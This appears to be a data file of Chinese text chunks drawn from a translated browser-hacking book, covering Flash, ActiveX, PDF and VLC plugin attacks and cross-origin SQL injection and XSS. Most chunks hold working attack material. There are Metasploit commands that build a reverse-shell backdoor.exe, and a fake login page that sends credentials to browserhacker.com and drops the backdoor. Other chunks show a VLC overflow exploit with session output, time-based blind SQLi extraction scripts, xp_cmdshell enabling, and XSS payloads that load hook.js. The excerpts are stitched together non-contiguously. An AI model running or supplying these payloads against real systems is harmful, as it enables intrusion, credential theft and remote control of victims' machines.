    {"text": "要在Mac上查看相关信息，可以在你的主目录下找到Library/Preferences/Macromedia/Flash Player/#SharedObjects/文件夹。 在Windows中，则位于C:\\Documents and Settings[username]\\Application Data\\Macromedia\\Flash Player目录下。"},
    {"text": "24 HP. (2013). SWFScan . Retrieved October 23, 2013 from http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167 3. 利用摄像头和麦克风 利用麦克风和摄像头可以让播放Flash变得十分有意思。"},
    {"text": "图 8-17 Adobe Flash的摄像头和麦克风设置 如果能欺骗某人启用上述设置，Flash应用就可以访问摄像头和麦克风。 进一步，如果你可以欺骗受害者选中Remember选项，这样Flash会记住当前设置，当前源中的任何Flash应用就都可以使用摄像头和麦克风了。"},
    {"text": "只要受害者允许一个来源的Flash访问摄像头和麦克风，你就可以继续发送隐藏的1×1像素的Flash应用，像第5章演示的那样记录下麦克风和摄像头采集的数据。"},
    {"text": "25 Adobe. (2013). ActionScript 3 camera API . Retrieved October 23, 2013 from http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/media/Camera.html 麦克风的API也类似。"},
    {"text": "26 Adobe. (2013). ActionScript 3 microphone API . Retrieved October 23, 2013 from http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/media/Microphone.html 可以通过点击劫持来欺骗受害者修改Flash的隐私设置。"},
    {"text": "27 Google Security Blog. (2013). Fuzzing at scale . Retrieved October 23, 2013 from http://googleonlinesecurity.blogspot.co.uk/2011/08/fuzzing-at-scale.html 这次研究发现了大约400个不同的崩溃征兆，其中106个被标记为安全bug。"},
    {"text": "28 Boc.cn. (2013). eBanking technical requirements . Retrieved October 23, 2013 from http://www.boc.cn/en/custserv/bocnet/201107/t20110705_1442435.html 虽然ActiveX是为IE设计的，但有一种插件是专门为Chrome 29 和Firefox 30 设计的，可以让它们在不打开IE窗口的前提下运行ActiveX。"},
    {"text": "29 Google Code. (2013). NP-ActiveX . Retrieved October 23, 2013 from http://code.google.com/p/np-activex/ 30 Google Code. (2013). Firefox ActiveX host . Retrieved October 23, 2013 from http://code.google.com/p/ff-activex-host/ 利用ActiveX 利用ActiveX并不是都很简单。"},
    {"text": "31 Meau.com. (2013). Mitsubishi MC-WorX ActiveX . Retrieved October 23, 2013 from http://www.meau.com/functions/dms/getfile.asp?ID=035000000000000001000000908800000 32 Exploit DB. (2013). Mitsubishi MC-WorX ActiveX exploit . Retrieved October 23, 2013 from http://www.exploit-db.com/exploits/28284/ 33 Microsoft. (2013). UNC paths . Retrieved October 23, 2013 from http://msdn.microsoft.com/en-us/library/gg465305.aspx 对这个例子而言，我们要创建一个Metasploit payload，准备好处理程序，并写一个希望让受害者访问的示例页面。"},
    {"text": "不过，Chris Gates曾展示过一些技术 34 ，可以诱骗用户提前安装有漏洞的插件，比如说只有安装了该插件才能查看某些内容，最终达到利用用户的目的。"},
    {"text": "34 Chris Gates. (2013). Attacking layer 8 . Retrieved October 23, 2013 from http://carnal0wnage.attackresearch.com/2009/03/attacking-layer-8-client-side.html Metasploit实用工具 使用Metasploit框架的方式有很多。"},
    {"text": "msfpayload ：用于生成Metasploit payload的命令行实用程序； msfencode ：编码Shellcode的一个命令行实用程序，通常会结合使用 msfpayload 与 msfencode 输出特定的payload，然后再编码； msfvenom ：直接组合 msfpayload 和 msfencode 的命令；"},
    {"text": "以下shell命令组合 msfpayload 和 msfencode ，来创建编码后的二进制payload： 35 Exploit DB. (2013). Hyperion: Implementation of a PE-Crypter . Retrieved October 23, 2013 from http://www.exploit-db.com/wp-content/themes/exploit/docs/18849.pdf 36 Chris Truncer, Mike Wright. (2013). The Grayhound. Veil - Framework . Retrieved October 23, 2013 from https://www.veil-evasion.com/ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.132\\ LPORT=8675 R | msfencode -c 3 -t exe > backdoor.exe 这样会创建一个被编码3次的反向Meterpreter payload，并将可执行文件保存为backdoor.exe。"},
    {"text": "为此，要启动Metasploit的msfconsole，然后以下列选项启动 multi/handler ： msf> use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.132 LHOST => 192.168.1.132 msf exploit(handler) > set LPORT 8675 LPORT => 8675 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.132:8675 [*] Starting the payload handler... 可以看到处理程序正在监听，因为我们用 -j 选项启动了它，所以它会在后台运行并接受多个来源的shell。"},
    {"text": "插件创建的按钮叫作Login Client，因此我们可以考虑一个一箭双雕的策略，既拿到凭证，又能实现利用： <html> <body> <script> function submitData() { var x = document.getElementById(\"sploit\"); var url = \"http://browserhacker.com/capture.rb?un=\" + x.elements[0].value + \"&pw=\" + x.elements[1].value; document.getElementById('t1').background=url; } </script> <div align=center> <form id=\"sploit\" > <table id='t1' border=0 background=\"\"> <tr><th colspan=2>BrowserVictim.com Chat System<BR> Please Log in with your ActiveDirectory Credentials</th></tr> <tr><th>Username:</th><td><input type=text name=\"user\"></td></tr> <tr><th>Password:</th><td><input type=password name=\"pass\" onBlur=\"submitData()\"></th></tr> <tr><th colspan=2> <object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'> </object> </tr></td> </form> <BR> </div> <script language='vbscript'> document.getElementById(\"target\").fileName = \"Z:\\\\backdoor.exe\" </script> </body> </html> 以上代码通过密码字段的 onBlur 事件监听变化，触发时会调用函数 submitData 。"},
    {"text": "图8-19展示了在文件未签名的情况下，用户会看到的弹出警告框。 图 8-19 对未签名应用的弹出提醒 只要用户点击了OK或Run，这个程序就会调用你的Metasploit监听器。"},
    {"text": "Metasploit会创建一个新会话，让你与这个新Metasploit会话通信： msf exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.1.198 [*] Meterpreter session 7 opened (192.168.1.132:8675 -> 192.168.1.198:50407) at 2013-09-17 01:09:01 -0400 msf exploit(handler) > sessions -i 7 [*] Starting interaction with 7... meterpreter > sysinfo Computer : WIN-758UJIVA5C3 OS : Windows?7 (Build 7600). Architecture : x86 System Language : en_US Meterpreter : x86/win32 meterpreter > 虽然这个攻击稍微复杂一些，但也可以像攻击其他很多插件一样直接攻击ActiveX。"},
    {"text": "37 Mateusz Jurczyk. (2013). PDF fuzzing and Adobe Reader 9.5.1 and 10.1.3 multiplecritical vulnerabilities . Retrieved October 23, 2013 from http://j00ru.vexillium.org/?p=1175 在PDF中使用JavaScript PDF文件中的JavaScript是很多PDF利用的来源。"},
    {"text": "PDF文件中可以包含JavaScript，这些JavaScript可以访问整个文档。 PDF文档在这里有点类似浏览器DOM，也有很多对象和方法。 通过这些方法，JavaScript事件可以利用PDF元素来触发。"},
    {"text": "38 Zdnet. (2013). Adobe Turnoff Javascript in PDF Reader . Retrieved October 23, 2013 from http://www.zdnet.com/blog/security/adobe-turn-off-javascript-in-pdf-reader/3245 (1) UXSS PDF文件中的JavaScript确实会引发可能被利用的问题。"},
    {"text": "39 Stefano Di Paola, Giorgio Fedon. (2006). Subverting AJAX . Retrieved October 23, 2013 from http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf 这个漏洞利用的是Firefox中老版本的Acrobat会解析URL变量的事实。"},
    {"text": "40 Mitre. (2013). CWE-415: Double Free . Retrieved October 23, 2013 from http://cwe.mitre.org/data/definitions/415.html (2) 启动另一个浏览器 PDF可以启动浏览器并请求特定的URL。"},
    {"text": "要使用这个方法，只需调用以下JavaScript代码： app.launchURL(\"http://browserhacker.com:3000/demos/report.html\",true); 利用这个方法，PDF会通过默认浏览器打开相应的URL。"},
    {"text": "只要把文件名都作为播放项加入播放列表，然后检测是否返回错误，就可以知道是否存在相应的文件。 这个技术可以用于采集操作系统指纹，安装的软件、识别用户，甚至能够发现内部共享资源： <object style=\"visibility:hidden\" classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\" width=\"0\" height=\"0\" id=\"vlc\"></object> <script> vlc.playlist.clear(); vlc.playlist.add(items[i]); vlc.playlist.playItem(0); vlc.attachEvent(\"MediaPlayerPlaying\", onFound); vlc.attachEvent(\"MediaPlayerEncounteredError\", onNotFound); </script> 通过创建ActiveX对象，清理播放列表，添加一项，然后播放它，可能会看到两种结果：一是该ActiveX对象会产生一个错误，二是它会触发一次播放事件。"},
    {"text": "以下代码用于枚举 items 数组中定义的很多资源： try { var result = \"\"; var i = 0; // 创建div来附加上VLC对象 var newdiv = document.createElement('div'); var divIdName = 'temp_div'; newdiv.setAttribute('id',divIdName); newdiv.style.width = \"0\"; newdiv.style.height = \"0\"; newdiv.style.visibility = \"hidden\"; document.body.appendChild(newdiv); // 创建对象 document.getElementById(\"temp_div\").innerHTML = \"<object style=\\\"visibility:hidden\\\"\" + \" classid=\\\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\\\"\" + \" width=\\\"0\\\" height=\\\"0\\\" id=\\\"vlc\\\"></object>\"; var items = [ \"C:\\\\Program Files (x86)\\\\Microsoft Silverlight\\\\5.1.20125.0\", \"C:\\\\Program Files (x86)\\\\Sophos\\\\Sophos Anti-Virus\", \"C:\\\\Users\\\\wade\", \"C:\\\\Users\\\\morru\" ] function onFound(event){ result += items[i] + \"\\n\"; i++; console.log(\"Found\"); next(); } function onNotFound(event){ i++; console.log(\"Not Found\"); next(); } function next(){ if (i >= items.length){ vlc.playlist.stop(); // 将结果返回框架 console.log(\"Discovered resources:\\n\" + result); // 清除 var rmdiv = document.getElementById(\"temp_div\"); document.body.removeChild(rmdiv); return; } vlc.playlist.clear(); vlc.playlist.add(\"file:///\" + items[i]); console.log(\"Adding item \" + items[i] + \" to playlist.\"); vlc.playlist.playItem(0); } vlc.attachEvent(\"MediaPlayerPlaying\", onFound); vlc.attachEvent(\"MediaPlayerEncounteredError\", onNotFound); next(); } catch(e) {} 在IE中运行以上代码的结果如图8-21所示，这样就可以知道用户安装了Sophos Anti-Virus软件。"},
    {"text": "图 8-21 通过VLC枚举本地资源 2. 利用媒体播放器 下面这个例子利用了VLC播放器2.0之前版本中的一个漏洞，名字是“VLC MMS Stream Handling Buffer Overflow”。"},
    {"text": "这个漏洞通过IE及恶意URL启动VLC，然后VLC处理该URL，于是就会导致SEH 41 重写，最终执行payload代码。 41 Microsoft TechNet Blogs. (2013). Preventing the Exploitation of SEH Overwriteswith SEHOP . Retrieved October 23, 2013 from http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx 为了在Metasploit的msfconsole中启动这个恶意URL，可以执行如下代码： msf> use exploit/windows/browser/vlc_mms_bof msf exploit(vlc_mms_bof) > set URIPATH /vlc URIPATH => /vlc msf exploit(vlc_mms_bof) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(vlc_mms_bof) > set LHOST 192.168.1.132 LHOST => 192.168.1.132 msf exploit(vlc_mms_bof) > set LPORT 8675 LPORT => 8675 msf exploit(vlc_mms_bof) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.132:8675 [*] Using URL: http://0.0.0.0:8080/vlc [*] Local IP: http://192.168.1.132:8080/vlc [*] Server started. 服务器在启动后，会把浏览器引导到http://192.168.1.132:8080/vlc，也就是Metasploit利用的地址。"},
    {"text": "此时的Metasploit控制台中应该显示类似以下输出： [*] 192.168.1.16 vlc_mms_bof - Sending malicious page [*] Sending stage (752128 bytes) to 192.168.1.16 [*] Meterpreter session 3 opened (192.168.1.132:8675 -> 192.168.1.16:1095) at 2013-09-18 02:40:19 -0400 [*] Session ID 3 (192.168.1.132:8675 -> 192.168.1.16:1095) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2000) [*] Spawning notepad.exe process to migrate to [+] Migrating to 2308 [+] Successfully migrated to process msf exploit(vlc_mms_bof) > sessions -i 3 [*] Starting interaction with 3... meterpreter > sysinfo Computer : VM-1 OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : en_US Meterpreter : x86/win32 浏览器可能不会马上崩溃，因此用户不一定会认为恶意页面就是崩溃的元凶。"},
    {"text": "对于SQL注入攻击，我们不会讨论太多，而是想给大家推荐关于这个话题的另外两本专著： The Database Hacker's Handbook 16 和 SQL Injection Attacks and Defense 17 。 16 David Litchfield, Chris Anley, John Heasman, and Bill Grindlay. (2005). The Database Hacker's Handbook . Retrieved June 15, 2013 from http://www.amazon.com/The-Database-Hackers-Handbook-Defending/dp/0764578014 17 Justin Clarke. (2009). SQL Injection Attacks and Defense . Retrieved June 15, 2013 from http://store.elsevier.com/SQL-Injection-Attacks-and-Defense/Justin-Clarke/isbn-9781597499637/ 1. 常规SQL注入检测 SQL注入攻击可以根据bug的不同分为不同类别。"},
    {"text": "如果返回的是类似下面这样的SQL错误，就可以实施基于错误的SQLi： You have an error in your SQL syntax; check the \\ manual that corresponds to your MySQL server version \\ for the right syntax to use near ''' at line 1 某些情况下，即使SQL语句中包含错误，Web应用也根本不会返回错误。"},
    {"text": "下面来看一段Ruby代码，这段代码是可以被SQL注入的： get \"/\" do @config = ConfigReader.instance.config # 从GET请求中取得book_id参数 book_id = params[:book_id] # MySQL连接池 pool = Mysql2::Client.new( :host => @config['db_host'], :username => @config['restricted_db_user'], :password => @config['restricted_db_userpasswd'], :database => @config['db_name'] ) begin if book_id == nil @rs = pool.query \"SELECT * FROM books;\" else # 若找到一个特定的book_id参数 # 就执行以下未加密查询 query = \"SELECT * FROM books WHERE id=\" + book_id + \";\" @rs = pool.query query end erb :\"sqlinjection\" rescue Exception => e @rs = {} @error_message = e.message erb :\"sqlinjection\" end end 如果将一个类似 /page?book_id=1' 的GET请求发送给这段代码中的处理程序，那么数据库就会返回类似前面的错误信息。 只要发送像下面这样检索MySQL数据库版本的查询，就可以利用这种基于错误的SQLi： /page?book_id=1+UNION+ALL+SELECT+NULL%2C%40%40VERSION%2CNULL%23 最终的SQL语句会被攻击者在 SELECT * FROM books WHERE id=1 后面追加上 UNION ALL SELECT NULL, @@VERSION, NULL 。 Web应用的那个拼接的查询（ query = \"SELECT * FROM books WHERE id=\" + book_id + \";\" ）之所以不安全，是因为参数值 book_id 未经输入验证就被用于字符串拼接。"},
    {"text": "假设前面存在漏洞的代码除了把底部的一行（ @error_message = e.message ）删除之外，其余都相同，那么此时仍然可以被SQL注入攻击，只不过变成了Blind。"},
    {"text": "同样，因为Oracle支持发送HTTP和DNS请求的功能，所以还可以进行相应的确认： 19 Chema Alonso. (2007). Time-Based Blind SQL Injection with Heavy Queries . Retrieved June 15, 2013 from http://technet.microsoft.com/en-us/library/cc512676.aspx beef.execute(function() { // 以秒计的延迟 var delay = '<%= @delay %>'; // 目标主机/端口 var host = '<%= @host %>'; var port = '<%= @port %>'; // 要扫描的目标URL var uri = '<%= @uri %>'; // 要扫描的URL参数，格式为：key=value var param = '<%= @parameter %>'; /*需要处理主要注入的向量 * 如果有嵌套的JOIN需要额外的括号 * param和delay是占位符， * 稍后会在create_vector()中替换 */ var vectors = [ \"param AND delay\", \"param' AND delay\", \"param) AND delay\", \"param AND delay --\", \"param' AND delay --\", \"param) AND delay --\", \"param AND delay AND 'rand'='rand\", \"param' AND delay AND 'rand'='rand\", \"param' AND delay AND ('rand'='rand\", \"param; delay --\" ]; var db_types = [\"mysql\", \"mssql\", \"postgresql\"]; var final_vectors = []; /* 每个DB都有不同的延迟语句 * 关于Oracle/DB2及其他信息，请参考Chema Alonso的重查询： http://technet.microsoft.com/en-us/library/cc512676.aspx */ function create_vector(vector, db_type){ var result = \"\"; if(db_type == \"mysql\") result = vector.replace(\"param\",param) .replace(\"delay\",\"SLEEP(\" + delay + \")\"); if(db_type == \"mssql\") result = vector.replace(\"param\",param) .replace(\"delay\",\"WAITFOR DELAY '0:0:\" + delay + \"'\"); if(db_type == \"postgresql\") result = vector.replace(\"param\",param) .replace(\"delay\",\"PG_SLEEP(\" + delay + \")\"); console.log(\"Vector before URL encoding: \" + result); return encodeURI(result); } // 根据支持数据库替换param和delay占位符 function populate_global_vectors(){ for(var i=0;i<db_types.length;i++){ var db_type = db_types[i]; for(var e=0;e<vectors.length;e++){ final_vectors.push(create_vector(vectors[e], db_type)); } } } var vector_index = 0; function next_vector(){ result = final_vectors[vector_index]; vector_index++; return result; } var send_interval; var successfulVector = \"\"; function sendRequests(){ var vector = next_vector(); var url = uri.replace(param, vector); beef.net.forge_request(\"http\", \"GET\", host, port, url, null, null, null, delay + 2, 'script', true, null, function(response){ // 如果XHR响应延迟，停止进程 // 因为某个successfulVector已被发现 if(response.duration >= delay * 1000){ successfulVector = url; console.log(\"Response delayed with vector [\" + successfulVector + \"]\"); clearInterval(send_interval); } }); } // 创建所有向量 populate_global_vectors(); /* 确定正常的响应时间，并且调整请求之间的延迟 *（基准响应时间 +500 ms） */ var response_time; beef.net.forge_request(\"http\", \"GET\", host, port, uri, null, null, null, delay + 2, 'script', true, null,function(response){ response_time = response.duration; send_interval = setInterval(function(){ sendRequests()},response_time + 500); //can be adjusted }); }); 把前面的代码注入勾连浏览器之后，会调用 populate_global_vectors() ，并根据支持的数据库类型和向量数组中的载荷，来创建攻击向量。"},
    {"text": "图 9-11 成功的SQLi攻击的时间延迟 图 9-12 记录成功的SQLi攻击 3. 跨域SQL盲注利用 好了，现在你已经可以检测到哪个跨域资源存在SQL注入漏洞了，而且也知道了使用的是什么数据库。"},
    {"text": "20 Bernardo Damele. (2009). Advanced SQL injection to operating system full control . Retrieved June 15, 2013 from http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjectionslides.pdf 使用如下MSSQL语句，可以检测是否可以执行上述存储过程。"},
    {"text": "EXEC sp_configure 'show advanced options',1;RECONFIGURE EXEC master..xp_cmdshell('ping -n 10 localhost') 第一个请求用于重新启用 xp_cmdshell() 存储过程（如果之前是被禁用的）。"},
    {"text": "比如，要确定当前数据库名称的第一个字节的第一位是0还是1，可以在MSSQL中使用下面的向量： 21 Chris Anley. (2002). Advanced SQL injection . Retrieved June 15, 2013 from http://www.cgisecurity.com/lib/more_advanced_sql_injection.pdf declare @s varchar(8000) select @s = db_name() if (ascii(substring \\ (@s, 1, 1)) & (power(2, 0))) > 0 waitfor delay '0:0:5' 如果响应延迟了5秒，则可以确定第一位是1。 然后用下面的向量继续检测第一个字节的第二位，以此类推： declare @s varchar(8000) select @s = db_name() if (ascii(substring \\ (@s, 1, 1)) & (power(2, 1))) > 0 waitfor delay '0:0:5' 基于时延的数据提取显然没有考虑到速度。"},
    {"text": "服务器端C#代码如下： public partial class _Default : System.Web.UI.Page{ // 从 Web.config中取得SQLserver 2008的连接信息 protected SqlConnection dbConn = new SqlConnection( ConfigurationManager.ConnectionStrings[\"sqlserver\"].ToString() ); protected void Page_Load(object sender, EventArgs e){ if(Request.QueryString[\"book_id\"] != null){ // 存在SQL注入漏洞的SQL查询 string sql = \"SELECT * FROM books WHERE id = \" + Request.QueryString[\"book_id\"]; SqlCommand cmd = new SqlCommand(sql, dbConn); dbConn.Open(); // 迭代结果 SqlDataReader results = cmd.ExecuteReader(); string response = \"\"; while(results.Read()){ response += \"<b>Book name:</b> \" + results[\"name\"] + \"<br><b>Book authors:</b> \" + results[\"author\"]; } Response.Write(response); results.Close(); dbConn.Close(); } } } 与所有ASP.NET应用一样，这个应用也使用了Web.config文件，其中包含连接数据库的信息： <add name=\"sqlserver\" connectionString=\"server=localhost; database=sql_InjEction_1234;uid=sa;password=Abcd-1234;\" providerName=\"System.Data.SqlClient\"/> </connectionStrings> 根据MDN（Microsoft Developer Network，微软开发者网络）的描述 22 以及本章前面简单的演示，如果在同一个MSSQL服务器上指定了多个 WAITFOR 语句，那它们将在不同的线程中分别执行。"},
    {"text": "22 Microsoft Developer Network. (2013). WAITFOR (Transact-SQL) . Retrieved June 15, 2013 from http://msdn.microsoft.com/en-us/library/ms187331.aspx 并非所有数据库都这样。"},
    {"text": "每个WebWorker都会执行下列代码： var uri, port, path, payload; var index, seconds, position; /* 配置来自实例化此WebWorker（控制器）的代码 */ onmessage = function (e) { uri = e.data['uri']; port = e.data['port']; path = e.data['path']; payload = e.data['payload']; index = e.data['index']; seconds = e.data['seconds']; position = e.data['position']; retrieveChar(index, seconds, position); }; function retrieveChar(index, seconds, position){ var lowerbound = 1; var upperbound = 127; var index; var isLastReqSleep = false; var reqNumber = 0; // 如果所有请求都不延迟，说明正在查询范围外的地址 var stringEndReached = true; function doRequest(index, seconds, position){ if(lowerbound <= upperbound){ reqNumber++; index = Math.floor((lowerbound + upperbound) / 2); var enc_payload = encodeURI(payload + position + \",1))>\" + index + \") WAITFOR DELAY '0:0:\" + seconds + \"'--\"); // 负载类似于IF(UNICODE(SUBSTRING((SELECT \\ // ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))), var xhr = new XMLHttpRequest(); var started = new Date().getTime(); xhr.open(\"GET\", uri + \":\" + port + path + enc_payload, false); xhr.onreadystatechange=function(){ if(xhr.readyState == 4){ var finished = new Date().getTime(); var respTime = (finished - started)/1000; /* 二进制推断。"},
    {"text": "* 如果请求至少N秒不延迟，可以推断该字符的二进制表示不大于 * 'index'?127: IF(115>127) WAITFOR。 同样，继续，将'index'改为63 */ if(respTime >= seconds){ lowerbound = index + 1; if(reqNumber == 7) isLastReqSleep = true; stringEndReached = false; }else{ upperbound = index - 1; } /* 递归调用doRequest() */ doRequest(index, seconds, position); }} xhr.send(); }else{ if(isLastReqSleep){ index++; } /* 通知WebWorker控制器，传递当前位置的字符 *?stringEndReached==true表示超过范围，找到了全部数据 */ postMessage( {'position':position,'char':index,'end':stringEndReached} ); self.close(); //close the worker return index; } } // 发送请求 doRequest(index, seconds, position); } 以上代码使用二进制推断，来检索指定位置的每个字符的十进制表示。"},
    {"text": "给前面的代码添加 console.log() ，就可以看到如何检索到数据库名的第一个字符，本例的结果是 s ： Response delayed. Char is > 64 Response delayed. Char is > 96 Response delayed. Char is > 112 Response not delayed. Char is < 120 Response not delayed. Char is < 116 Response delayed. Char is > 114 Response not delayed. Char is == 115 -> s 第一个跨域HTTP请求会指向以下URL，因为我们要检索数据库名称的第一个字符： http://172.16.37.149:8080/?book_id=1%20IF(UNICODE(SUBSTRING( (SELECT%20ISNULL(CAST(DB_NAME()%20AS%20NVARCHAR(4000)), CHAR(32))),1,1))%3E64)%20WAITFOR%20DELAY%20%270:0:2%27-- 而响应（可以通过前面的 console.log() 输出看到）被延迟了，因为115>64。"},
    {"text": "WebWorker完成任务后，会使用 postMessage() 把结果发送给父控制器： postMessage({'position':position,'char':index,'end':stringEndReached}); 每一个WebWorker负责检索特定位置上的一个字符。 而启动它们和验证结果的任务，则是由以下控制器代码完成： if(!!window.Worker){ // WebWorker代码 var wwloc = \"http://browserhacker.com/time-based-sqli/worker.js\"; // 初始化 var uri = \"http://172.16.37.149\"; var port = \"8080\"; var path = \"/?book_id=1\"; var payload = \" IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME()\" + \" AS NVARCHAR(4000)),CHAR(32))),\"; var timeDelay = 2; // 延迟响应的秒数 var position = 1; // 保存取得字符的数组 var dbname = []; var dbname_string = \"\"; // 内部变量 var dataLength = 0; var workersDone = 0; var successfulWorkersDone = 0; // 并行执行的WebWorker数量 // (1个WebWorker处理1个字符位) var workers_number = 5; // 每秒调用1次checkComplete() var checkCompleteDelay = 1000; var start = new Date().getTime(); /* 迭代dbname,将字符从十进制转换为字符*/ function finish(){ dbname.shift(); // 移除第一个0索引 for(var i=0; i<dbname.length; i++){ dbname_string += String.fromCharCode(dbname[i]); } console.log(\"Database name is: \" + dbname_string); var end = new Date().getTime(); console.log(\"Total time [\" + (end-start)/1000 + \"] seconds.\"); } /* 生成WebWorker，处理从'start'位置取得的数据*/ function spawnWorkers(start, end){ for(var i=start; i<=end; i++){ // 使用eval动态创建WebWorker变量 eval(\"var w\" + i + \" = new Worker('\" + wwloc + \"');\"); /* 从WebWorker取得消息后，检查从哪个位置获得了哪个字符， 并将其添加到dbname数组。 如果消息包含'end'， 说明WebWorker在检查范围('dataLength')之外的位置*/ eval(\"w\" + i + \".onmessage = function(oEvent){\" + \"var c = oEvent.data['char'];var p = oEvent.data['position'];\" + \"workersDone++;\" + \"if(oEvent.data['end']){if(dataLength==0){dataLength=p-1;}; \" + \"if(dataLength !=0 && dataLength > (p-1)){dataLength=p-1;};}else{\" + \"successfulWorkersDone++;\" + \" console.log('Retrieved char ['+c+'] at position ['+p+']');\" + \"dbname[p]=c; console.log('Workers done [' + workersDone + '].\" + \" DataLength ['+dataLength+']');}}; \"); eval(\"var data = {'uri':'\" + uri + \"', 'port':\" + port + \", 'path':'\" + path +\"', 'payload':'\" + payload + \"', 'index':0,'seconds':\" + timeDelay + \",'position':\" + i + \"};\"); eval(\"w\" + i + \".postMessage(data);\"); position++; } } /* 每N秒('checkCompleteDelay'中定义) 检查一次WebWorker是否完成，均匀地生成它们，或调用finish() */ function checkComplete(){ if(workersDone == workers_number){ console.log(\"Successful workers done [\"+successfulWorkersDone+\"]\"); /* 所有生成的WebWorker都完成，检查是否到了dataLength 或者还需要再继续生成，dataLength==0 表明还需要标识待取得数据的长度 */ if((dataLength != 0 && successfulWorkersDone !=0) && successfulWorkersDone == dataLength){ console.log(\"Finishing...\"); clearInterval(checkCompleteInterval); finish(); }else{ // 生成新WebWorker console.log(\"Spawned other [\" + workers_number + \"] workers.\"); workersDone = 0; spawnWorkers(position, position+(workers_number-1)); } }else{ console.log(\"Waiting for workers to complete...\" + \"Successful workers done [\"+successfulWorkersDone+\"]\"); } } // 第一次调用 spawnWorkers(position, workers_number); var checkCompleteInterval = setInterval(function(){ checkComplete()}, checkCompleteDelay); }else{ console.log(\"WebWorker not supported!\"); } 攻击目标是位于内网172.16.37.149:8080上的一个Web应用。"},
    {"text": "图 9-13 5个工作进程在Chrome中取得了数据库名称 而使用10个工作进程执行相同的任务花了30秒，如图9-14所示。 图 9-14 10个工作进程在Firefox中取得了数据库名称 使用与前面跨域示例一样的时间延迟设置，启动Sqlmap，结果花了差不多140秒才取得了相同的结果： ./sqlmap.py -u \"http://172.16.37.149:8080/?book_id=1\" -p book_id --dbms \"mssql\" --technique T --time-sec=2 -v 3 --current-db --threads 5 [19:53:56] [DEBUG] performed 151 queries in 139.56 seconds current database:??? 'sql_InjEction_1234' 尽管指定了5个线程，但Sqlmap会在处理基于时间的SQL盲注时禁用多线程。"},
    {"text": "结果类似如下所示： <iframe src=\"http://192.168.1.1/chapter?id=1 %3Cscript%3Ealert(1)%3C%2Fscript%3E\"> 当这个内嵌框架添加到勾连页面的DOM中之后，就会加载跨域URL。"},
    {"text": "23 Gareth Heyes. (2009). XSS Rays . Retrieved June 15, 2013 from http://www.thespanner.co.uk/2009/03/25/xss-rays/ 2009年，即使是在跨域的情况下，子框架也是可以使用URI片段标识符（ # ）与父框架通信的。"},
    {"text": "继续前面的例子，此时的新向量应该是类似这样的： <iframe src=\"http://192.168.1.1/chapter?id=1%3Cscript%3Elocation%3D'http%3A %2F%2Fbrowserhacker.com%2Fxssrays%3Fdetails%3D....'%3C%2Fscript%3E\"> 如果攻击成功执行，就会创建一个指向http://browserhacker.com/xssrays资源的GET请求，包括XSS漏洞的细节信息。"},
    {"text": "根据需求不同，可以把资源加载至已勾连页面中的隐藏的内嵌框架，也可以像第3章讨论的那样打开一个新的弹出窗口（可以在当前窗口上面，也可以在当前窗口底下）。"},
    {"text": "这里需要分清什么是勾连浏览器和勾连源。 勾连浏览器必须至少有一个勾连源，而勾连源必须至少有一个勾连浏览器。 通常情况下，勾连浏览器和勾连源是一一对应的。 如果你在受害者浏览器中勾连了一个源，就说明你既勾连了一个浏览器，又勾连了一个源。 如果你想创建一个指向其他源的勾连内嵌框架（在之前勾连源的DOM中），那么你可能在同一个浏览器中拥有两个被勾连的源。 当然，也有可能在同一个源上勾连两个或多个浏览器。 使用框架通过XSS漏洞勾连多个浏览器时，就会发生这种情况。"},
    {"text": "继续前面XssRays的例子，通过执行下面两行JavaScript代码，就可以在BeEF中以一个隐藏的内嵌框架勾连有漏洞的源http://192.168.1.1/chapter?id=1： var i = beef.dom.createInvisibleIframe(); i.setAttribute( 'src', \"http://192.168.1.1/chapter?id=1\"+ \"<script src='http://browserhacker.com/hook.js'></script>\"); 利用XSS漏洞勾连新源之后，就拥有了间接的访问权限。"},
    {"text": "24 Mario Heiderich. (2010). XSSAuditor bypasses from sla.ckers.org . Retrieved June 15, 2013 from https://bugs.webkit.org/show_bug.cgi?id=29278#c6 URI模式data:的设计意图是以外部资源的形式，在HTML页面中包含嵌入数据。"},
    {"text": "它的格式是这样的： data:[<MIME-type>][;charset=<encoding>][;base64],<data> 如果有一个base64编码的PNG图片，那么嵌入它的数据URI可能是这样的： <img src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA \\ AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO \\ 9TXL0Y4OHwAAAABJRU5ErkJggg==\"> 没有什么可以阻止这种模式里包含其他类型的内容，比如可以使用 text/html 类型的字符集，然后以base64编码字符串 <script>alert(1)</script> 。"},
